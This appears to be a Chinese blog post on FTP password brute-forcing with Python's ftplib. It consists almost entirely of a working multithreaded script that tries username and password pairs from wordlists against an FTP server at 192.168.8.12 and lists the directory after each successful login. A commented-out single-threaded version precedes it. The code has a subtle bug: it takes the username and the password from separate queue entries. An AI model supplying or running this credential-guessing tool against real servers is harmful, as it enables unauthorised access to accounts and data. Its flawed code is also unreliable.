# # @File:FTP暴力破解.py
import ftplib
import sys
import threading
import queue
# def ftp_brute(userfile, passwdfile):
# ftp = ftplib.FTP()
# ftp.connect('192.168.8.12', 21)
# for username in open(userfile):
# for passwd in open(passwdfile):
# username = username.replace('\n', '')
# passwd = passwd.replace('\n', '')
# try:
# ftp.login(username, passwd)
# # print(ftp.getwelcome()) #打印欢迎信息
# print(f'\033[32m[+]username:{username},password:{passwd}\033[0m')
# print(ftp.retrlines('list'))
# except ftplib.all_errors:
# print(f'\033[31m[-]username:{username},password:{passwd}\033[0m')
#
# if __name__ == '__main__':
#
# print('Usage:\n python xx.py user.txt passwd.txt')
# userfile = sys.argv[1]
# passwdfile = sys.argv[2]
# ftp_brute(userfile, passwdfile)
def ftp_brute():
while not q.empty():
username = q.get().split('|')[0]
passwd = q.get().split("|")[1]
ftp = ftplib.FTP()
ftp.connect('192.168.8.12', 21)
try:
ftp.login(username, passwd)
# print(ftp.getwelcome()) #打印欢迎信息
print(f'\033[32m[+]username:{username},password:{passwd}\033[0m')
print(ftp.retrlines('list'))
ftp.quit()
except ftplib.all_errors:
print(f'\033[31m[-]username:{username},password:{passwd}\033[0m')
ftp.quit()
if __name__ == '__main__':
print('Usage:\n python xx.py user.txt passwd.txt 10')
userfile = sys.argv[1]
passwdfile = sys.argv[2]
t = sys.argv[3] # 线程数
q = queue.Queue()
for username in open(userfile):
for passwd in open(passwdfile):
username = username.replace('\n', '')
passwd = passwd.replace('\n', '')
diclist = username + '|' + passwd
q.put(diclist)
for x in range(int(t)):
t = threading.Thread(target=ftp_brute)
t.start()
ftplib模块--ftp密码爆破
于 2023-09-24 18:12:03 首次发布